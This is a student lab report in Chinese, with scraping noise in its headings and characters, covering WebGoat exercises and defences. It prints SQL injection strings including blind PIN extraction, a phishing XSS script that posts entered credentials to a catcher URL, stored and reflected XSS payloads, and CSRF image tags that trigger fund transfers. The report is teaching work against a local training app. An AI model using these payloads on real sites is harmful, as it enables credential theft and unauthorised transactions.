Exp9 Web安全基础html
1、实践目标java
SQL注入攻击web
XSS攻击安全
CSRF攻击服务器
2、实践过程cookie
1.环境配置:网络
下好jar包而后放在根目录下mvc
使用:java -jar *.jar就能够解压运行webgoat了!xss
2.使用webgoat:post
打开Firefox,输入http://127.0.0.1:8080/WebGoat/login.mvc访问webgoat
SQL注入攻击:
Numeric SQL Injection:
要求注入字符串而后能够访问全部的天气状况:
这里修改一下网页源代码就行了,随便选个城市而后修改他的value值,添加or 1=1 便可;
String SQL Injection:
要求做为smitn而后查看全部的信用卡信息:
输入or 1=1 --
--是注释掉后面的代码。
LAB: SQL Injection:
第一步:
字符串注入:要求不使用正确密码就能够登录管理员的帐户,和前面同样,可是咱们要先修改网站源代码
使其在password一项中能够输入足够长:
而后构造真式便可
第三步:
Numeric SQL Injection:
先使用第一步的办法登录员工的帐户,而后再员工帐户里点击查看按钮时查看管理员用户的信息
咱们先看看这个老板帐户的值是排在表的最后:
而后就能够经过修改id为101 or 1=1order by salary desc这个语句来倒序查询下一个用户信息;
下图就是修改位置,原本一开始想直接修改为老板的id可是不成功;
成功图:
Blind Numeric SQL Injection:
数字盲注:要求就是经过输入框输入语句去查找到pins表里pin的值是多少:
由于这里在输入框里输入语句能够进行判断,会给出判断结果,因此使用
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500);
而后慢慢缩小范围便可:
找到最后的结果为2364:
Blind String SQL Injection:
和数字盲注差很少,这里是找字符串,语句就有所变化:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
意思是查找这个name的第一个字符的值是否是h
这里有大小写区分,而后改变第一个1所在位置的值就是改变查找的字符串的字符位置;
第一个字符为J
第二个为i
XSS攻击:
跨站脚本钓鱼攻击(Phishing with XSS)
(1)题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求咱们利用xss和html注入达到这些目标。
(2)使用XSS和HTML插入制做一个钓鱼网站,将其输入在search框中,代码以下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR
(3)输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
LAB: Cross Site Scripting
存储型XSS
(1)执行存储型跨站脚本攻击,以“Tom”身份登陆网站,修改我的信息。验证用户“Jerry”会受到攻击。每一个账号的密码是用户明名字的小写(如:Tom的密码是tom)
(2)以用户名“Tom”密码tom登陆,选择Tom,点击“View Profile”按钮。如今可 以看到Tom的我的信息。点击“Edit Profile",在“Street”一栏中进行XSS攻击。加入以下代码,点击“UpdateProfile": <script>alert("haha");</script>
(3)退出登陆,以用户名Jerry,密码ferry登陆,选择浏览Tom的信息,会弹出以下注入脚本,攻击成功
Stored XSS Revisited
验证Bruce的我的简介中包含有XSS攻击,使用David用户登陆,查看Bruce的我的简介,出现弹窗,代表存在XSS攻击。
Reflected XSS
(1)使用雇员搜索页面漏洞构造一个包含反射型XSS攻击代码的URL。验证另外一位雇员访问该URL会受影响。
(2)以用户名Tom,密码tom登陆。点击“SearchStaff",在搜索框中,添加以下一段代 码便可完成: <script>alert("XSS");<script>
Stored XSS Attacks(存储式 XSS 攻击)
(1)目标是建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容。
(2)在title中任意输入字符。在内容中输入如下代码: <script>alert("XSS");</script>
(3)点击“hellworld",这就好比刚建立的帖子,由本身或者其余人浏览,而后会弹出一个对话框,证实XSS攻击成功
Reflected XSS Attacks(反射型XSS)
(1)1.当咱们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展现给咱们看
(2)若是将带有攻击性的URL做为输入源,好比,就会弹出对话框 <script>alert("helloworld");</script>
Cross Site Request Forgery (CSRF):
要求:CSRF经过假装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
在这节课中,URL应该指向“攻击”servlet,
其中包含了“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,它具备任意的数值。
这里其实就说明了编写规则,只要查看网页上给出的scr和menu的值便可:
标题随便,在内容里写<imgsrc="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=20000"/>
而后提交,打开消息就好了:
CSRF Prompt By-Pass:
要求:输入代码,第一个为转账的请求,第二个请求确认第一个请求触发的提示
根据提示来编写,也是须要查看网页的几个值:
而后编写成下面的代码便可:
<img src="attack?Screen=1471017872&menu=900&transferFunds=6000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
CSRF Token By-Pass:
也是要求编写代码,构造好了,而后发送,点击便可
3、实验后回答问题
(1)SQL注入攻击原理,如何防护
1.对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;
2.关闭或删除没必要要的交互式提交表单页面;
3.普通用户与系统管理员用户的权限要有严格的区分;
4.不要在服务器端放置备份的文件以避免受到感染,或备份的文件含有漏洞,形成切入点。
(2)XSS攻击的原理,如何防护
1.网站开发者运用转义安全字符等手段,而且坚持不相信用户输入的任何数据的原则
2.表单提交的时候进行特殊字符的检测
3.对输入框作长度限制
4.在后台对数据进行过滤
(3)CSRF攻击原理,如何防护
1.使用令牌,每个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,若是令牌不符合,就断定存在CSRF攻击;
2.将提交方法改成post,或将 GET请求设置为只浏览而不改变服务器端资源
3.按期清理cookie
4.使用随机数对表单中的值进行验证
4、实验总结
经过本次实验,加深了我对XSS攻击、SQL注入以及CSRF攻击的理解。虽然一开始下载jar包就用了很长时间,但对于行不通的方法真的要好好找资料换其余可行的方法,实践不止局限于课程中的指导,不断地查资料会让本身了解的更全面。
最后一次实验到这里就结束了,不过对安全的探究应该才刚刚开始,在经历了一个学期的技术课程学习后,收获挺大的,网络安全不知道算不算入门。
感谢老师的教学与指导!